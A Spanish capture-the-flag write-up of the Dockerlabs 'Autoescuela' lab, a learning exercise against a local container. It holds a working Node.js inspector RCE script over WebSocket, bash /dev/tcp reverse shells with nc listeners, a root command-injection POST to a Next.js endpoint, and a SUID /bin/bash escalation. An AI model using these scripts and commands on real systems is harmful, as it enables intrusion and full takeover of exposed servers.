Dockerlabs - Autoescuela

Dockerlabs - Autoescuela

Table of Contents

LABORATORIO DOCKERLABS -> Autoescuela

alt text

Herramientas y técnicas

Herramientas

  • Nmap
  • Wscat
  • Burp Suite
  • Searchsploit

Técnicas

  • Enumeración de procesos (ps auxf)
  • Explotación del Node.js Inspector mediante WebSocket
  • Remote Code Execution (RCE)
  • Reverse shell (nc -lvnp <puerto> / Penelope)
  • Escalada de privilegios mediante SUID (chmod u+s /bin/bash + bash -p)

Fase 1 Reconocimiento.

Ping

Una prueba básica, responde al ping 172.17.0.2. No siempre exitosa ni determinante ya que puede estar bloqueado el ICMP en la red.

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.022 ms
^C
--- 172.17.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1019ms
rtt min/avg/max/mdev = 0.022/0.026/0.031/0.004 ms

NMAP

Realizo un análisis inicial para ver puertos y servicios expuestos.

nmap -sC -sS -O -sV -n -p- --min-rate 5000 -T4 172.17.0.2          

Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-20 16:22 +0200
Nmap scan report for 172.17.0.2
Host is up (0.000034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js (Express middleware)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Autoescuela Hackcar - Inicio
9229/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, Help, Kerberos, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/html; charset=UTF-8
|_    WebSockets request was expected

La salida nos muestra un servicio http en el 8080 en el cual corre además node.js y el puerto 9229 nos muestra un servicio desconocido pero en el cual se ve la palabra clave WebSockets.

Esta situación da indicios de que está node.js corriendo con inspector o debbuger.

Fase 2. Enumeración

Inspeccionar desde navegador

El navegador muestra una página web de autoescuela muy sencilla, con un formulario de contacto, este puede ser un posible vector de ataque.

Listar directorios (dirb y ffuf)

Ni dirb ni ffuf mustran directorios ni endpoints interesantes.

Listar tecnologías (whatweb)

whatweb http://172.17.0.2:8080

http://172.17.0.2:8080 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, IP[172.17.0.2], Script, Title[Autoescuela Hackcar - Inicio], X-Powered-By[Express]

La cabecera X-Powered-By: Express identifica Express como framework/middleware utilizado por la aplicación, lo que apunta a una aplicación basada en Node.js.

Rastreo del servicio del puerto 9229

El objetivo es obtener la mayor información posible de este servicio para valorar posibles vulnerabilidades.

curl http://172.17.0.2:9229/json/list
[ {
  "description": "node.js instance",
  "devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a",
  "devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a",
  "faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
  "id": "a3427b87-3ca2-471e-80fb-bd243d41734a",
  "title": "/home/webuser/node_app/app.js",
  "type": "node",
  "url": "file:///home/webuser/node_app/app.js",
  "webSocketDebuggerUrl": "ws://172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a"
} ]

En este punto se aprecia información importante:

  • UUID de sesión activa
  • Ruta al código fuente "url": "file:///home/webuser/node_app/app.js"
  • Endpoint Websocket del debbuger ws://172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a

Esto permite valorar el flujo:

172.17.0.2:9229 -> Node.js Inspector -> Node v22.22.2 -> /home/webuser/node_app/app.js

Conexión al socket

Con la herramienta wscat nos conectamos al socket proporcionado:

wscat -c ws://172.17.0.2:9229/f9ce20a3-01b4-4c48-822a-9cccdb6298cf

El lenguaje que utiliza Node Inspector es Chrome DevTools Protocol(CDP) y mediante el siguiente le decimos que queremos recibir eventos relacionados, concretamente de la siguiente forma:

{"id":1,"method":"Runtime.enable"}

Como el socket está a la escucha. Vamos al navegador y en la página rellenamos el formulario de contacto que facilitan. En la terminal se muestra en crudo la recepción del formulario:

 {"method":"Runtime.consoleAPICalled","params":{"type":"log","args":[{"type":"string","value":"Mensaje recibido de pablo (pablo@email.com): prueba de info"}],

El flujo actual es: Formulario -> POST /contacto -> Node.js procesa los datos -> console.log(…) -> Node Inspector -> WebSocket -> wscat

Esto significa que los datos que se muestran pasan por el código de la aplicación, no simplemente información del navegador.

RCE

Se hace un script para la explotación: (Honestamente esto lo saqué del write up de otro usuario porque si no, no lo habría conseguido, pero aprender de los otros es parte del proceso)

const WebSocket = require('./node_modules/ws');  /*Cargar la librería ws, es WebSocket para Node.js (lo mismo que usar wscat -c ......)*/
const ws = new WebSocket('ws://172.17.0.2:9229/f9ce20a3-01b4-4c48-822a-9cccdb6298cf'); // Crea la conexión
ws.on('open', () => {    // cuanto se establezca la conexión ejecuta esta función
  const cmd = 'id';      // se define un comando Linux que queremos ejecutar
  const expr = `process.mainModule.require('child_process').execSync('${cmd}').toString()`;
              // process --> objeto global que representa el proceso actual
              // mainModule --> modulo principal que inicia la app
              // cargando modulo que permite a Node crear procesos
              // execSync('${cmd}') ejecuta el comando
              // toString() para que la salida la ponga en cadena de texto
  // Lo anterior era la creación de la variable, pero aun no se ha enviado/ejecutado
  ws.send(JSON.stringify({  // Esto equivale al envío anterior de wscat manual que hice yo. 
                            // JSON.stringify lo convierte en JSON
    id: 1,
    method: 'Runtime.evaluate',
    params: { 
      expression: expr,
      includeCommandLineAPI: true
    }
  })); // con este JSON le decimos que utilice el runtime con la expresión que le hemos dado
});
ws.on('message', (d) => console.log(JSON.stringify(JSON.parse(d), null, 2))); // Cuando llegue un mensaje desde el servidor me lo muestras
ws.on('error', (e) => console.error(e));

Una vez ejecutado se obtiene la siguiente salida:

{
"id": 1,
"result": {
       "result": {
       "type": "string",
       "value": "uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)\n"
              }
       }
}

Reverse shell

Ahora que sabemos que permite Usando la misma estructura del script anterior, en este caso introduciendo como comando la reverse shell.

const WebSocket = require('./node_modules/ws');
const ws = new WebSocket('ws://172.17.0.2:9229/f9ce20a3-01b4-4c48-822a-9cccdb6298cf');
ws.on('open', () => {
  const cmd = 'bash -c "bash -i >& /dev/tcp/172.17.0.1/4646 0>&1"';
  const expr = `process.mainModule.require('child_process').execSync('${cmd}').toString()`;
  ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: { 
      expression: expr,
      includeCommandLineAPI: true
    }
  }));
});
ws.on('message', (d) => console.log(JSON.stringify(JSON.parse(d), null, 2)));
ws.on('error', (e) => console.error(e));

Pero para ello primero pongo en escucha el puerto y posteriormente lanzo el script.

nc -lvnp 4646

La reverse shell ha funcionado y ya tengo una shell con el usuario webuser (Aunque no lo he documentado hago el proceso de update de la shell)

nc -lvnp 4646

listening on [any] 4646 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 55778
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
webuser@c6a44182da1d:/root/react_app$ 

Consulta del SUID

En este caso no se ha obtenido una información útil y que pueda ser explotada

webuser@c6a44182da1d:/root/react_app$ find / -perm -4000 2>/dev/null 

/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/su
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo

Consulta de usuarios

Tampoco listando los usuarios he tenido alguna información valiosa

webuser@c6a44182da1d:/root/react_app$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
[...]
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
webuser:x:1001:1001::/home/webuser:/bin/bash

Procesos

webuser@c6a44182da1d:/root/react_app$ ps auxf
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   4332  3492 ?        Ss   14:19   0:00 /bin/bash /entrypoint.sh /bin/sh -c tail -f /dev/null
root           7  0.0  0.0  11272  5472 ?        S    14:19   0:00 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
webuser       10  3.6  0.9 1127800 77544 ?       Sl   14:19  20:36  \_ node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
webuser       91  0.0  0.0   2808  1772 ?        S    23:20   0:00      \_ /bin/sh -c bash -c "bash -i >& /dev/tcp/172.17.0.1/4646 0>&1"
webuser       92  0.0  0.0   4760  3428 ?        S    23:20   0:00          \_ bash -c bash -i >& /dev/tcp/172.17.0.1/4646 0>&1
webuser       93  0.0  0.0   5028  4140 ?        S    23:20   0:00              \_ bash -i
webuser      100  0.0  0.0   3152  2076 ?        S    23:21   0:00                  \_ script /dev/null -c bash
webuser      101  0.0  0.0   5024  4240 pts/0    Ss   23:21   0:00                      \_ bash
webuser      120  0.0  0.0   8288  4316 pts/0    R+   23:44   0:00                          \_ ps auxf
root           8  0.0  1.0 1203728 84064 ?       Sl   14:19   0:00 npm exec next dev -p 3000 -H 127.0.0.1
root          29  0.0  0.0   2808  1768 ?        S    14:19   0:00  \_ sh -c next dev -p 3000 -H 127.0.0.1
root          30  0.0  1.0 11627408 87612 ?      Sl   14:19   0:00      \_ node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root          42  0.0  2.3 34518740 191236 ?     Sl   14:19   0:01          \_ next-server (v15.0.0-rc.1)
root           9  0.0  0.0   2736  1604 ?        S    14:19   0:00 tail -f /dev/null

Análisis del servicio Next.js 15.0.0-rc.1 Se identifica un servicio Next.js 15.0.0-rc.1 ejecutándose como root en 127.0.0.1:3000, accesible únicamente de forma interna dentro del sistema.

Consulto el fichero /root/react_app/app/route.ts para ver si hay alguna información de interés dentro y en la línea 66 del código se muestra la siguiente variable:

#[...]
66            const execSyncMatch = part0.match(/execSync\(['"]([^'"]+)['"]/);
#[...]

Pruebo como actua ese POST y evidencia que se ejecuta como root, por lo que deduzco que el comando que se meta en ese POST tendrá permisos de root.

webuser@c6a44182da1d:/root/react_app/app$ curl -i -X POST http://127.0.0.1:3000/ --data "execSync('id')"
HTTP/1.1 500 Internal Server Error
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
content-type: text/x-component
location: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk=
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk=;307;
Date: Fri, 21 Aug 2026 00:14:54 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

1:E{"digest":"uid=0(root) gid=0(root) groups=0(root)"}

Aprovechando que el endpoint permite ejecutar execSync() dentro del proceso Next.js que se ejecuta como root, utilizo ese RCE para establecer el bit SUID sobre /bin/bash. Al ser /bin/bash propiedad de root y tener activado SUID, puede ejecutarse posteriormente conservando privilegios efectivos de root mediante bash -p

curl -s -X POST http://127.0.0.1:3000/ \
  -H "Content-Type: text/plain" \
  --data "execSync('chmod u+s /bin/bash')"; echo

Posteriormente con bash -p se ejecuta un bash conservando los privilegios

webuser@c6a44182da1d:/root/react_app/app$ bash -p
bash-5.2# who am i
bash-5.2# whoami
root
bash-5.2# cd /root/
bash-5.2# ls
react_app  root.txt
bash-5.2# cat root.txt 
DL{Z8Gc5NFYMrH3W4vv5ZWa}

Vía alternativa: Node.js Inspector

https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/autoescuela

Una vía más directa habría sido aprovechar directamente el Node.js Inspector expuesto en 9229, sin crear un script CDP manual.

1. Conectarse al Inspector

node inspect 172.17.0.2:9229

2. Preparar listener en otra terminal

penelope -p 3110

3. Desde el Inspector, ejecutar una reverse shell

exec(“process.mainModule.require(‘child_process’).exec(’/bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/3110 0>&1"’)”)

Flujo:

Nmap → 9229/tcp ↓ Node.js Inspector ↓ node inspect ↓ child_process.exec() ↓ Reverse Shell como webuser

Además, searchsploit nodejs habría dado una pista directa:

NodeJS Inspector - Command Injection (Metasploit)

Por tanto, esta vía evitaba trabajar manualmente con WebSocket + CDP + Runtime.evaluate.

Share :

Related Posts

Dockerlabs - Hannah Coffe

Dockerlabs - Hannah Coffe

Herramientas y técnicas Herramientas Nmap FFUF Netcat GTFOBins curl / navegador Técnicas Path Traversal / LFI Log Poisoning RCE Reverse Shell Linux Capabilities SUID Privilege Escalation Fase 1. Reconocimiento Nmap El paso básico, listar posibles servicios expuestos, al ser un laboratorio uso un escaneo agresivo.

Read More
Dockerlabs - wargames

Dockerlabs - wargames

Herramientas y técnicas Herramientas Nmap: descubrimiento de puertos y enumeración de servicios. WhatWeb: identificación de tecnologías del servidor web. FFUF: fuzzing y descubrimiento de recursos web. Netcat (nc): conexión directa con el servicio TCP del puerto 5000. SSH : acceso remoto con las credenciales obtenidas. John the Ripper : intento de cracking del hash obtenido. Hashes.com : identificación/recuperación de la contraseña a partir del hash. strings : extracción de cadenas legibles de un binario ELF. Técnicas Reconocimiento y enumeración de servicios. Fuzzing de directorios y archivos web. Enumeración de un servicio TCP desconocido. Prompt injection. Cracking de hashes. Enumeración de usuarios y privilegios. Enumeración de binarios SUID. Análisis estático de binarios. Escalada de privilegios mediante binario SUID. Fase 1. Reconocimiento Nmap El escaneo con nmap muestra:

Read More
Dockerlabs - grooti

Dockerlabs - grooti

Herramientas y técnicas utilizadas Herramientas Nmap — Reconocimiento de puertos, servicios y versiones. FFUF — Enumeración de directorios, recursos web y búsqueda de credenciales válidas mediante fuzzing. Burp Suite — Interceptación y análisis de peticiones y respuestas HTTP. John the Ripper — Obtención de la contraseña de un archivo ZIP protegido mediante ataque de diccionario. Hydra — Ataque de fuerza bruta contra el servicio SSH utilizando una lista de posibles contraseñas. Técnicas Reconocimiento de servicios y puertos mediante Nmap. Enumeración de recursos web mediante fuzzing con FFUF. Reutilización de credenciales obtenidas a partir de información expuesta. Enumeración de bases de datos MySQL y sus estructuras mediante el cliente de MySQL. Fuzzing de credenciales para identificar una combinación válida de usuario y contraseña. Cracking de contraseña de un archivo ZIP mediante extracción del hash con zip2john y ataque de diccionario con John the Ripper. Fuerza bruta de credenciales SSH mediante Hydra. Enumeración local de privilegios mediante la búsqueda de binarios SUID, revisión de permisos, sudo -l y tareas programadas. Enumeración de tareas programadas mediante cron. Identificación de un script ejecutado periódicamente con privilegios elevados. Abuso de una tarea cron privilegiada mediante la modificación del script que esta ejecuta. Escalada de privilegios mediante SUID, estableciendo el bit SUID sobre /bin/bash. Obtención de una shell privilegiada mediante /bin/bash -p. Escaneo En primer lugar se lanza el comando nmap para escanear:

Read More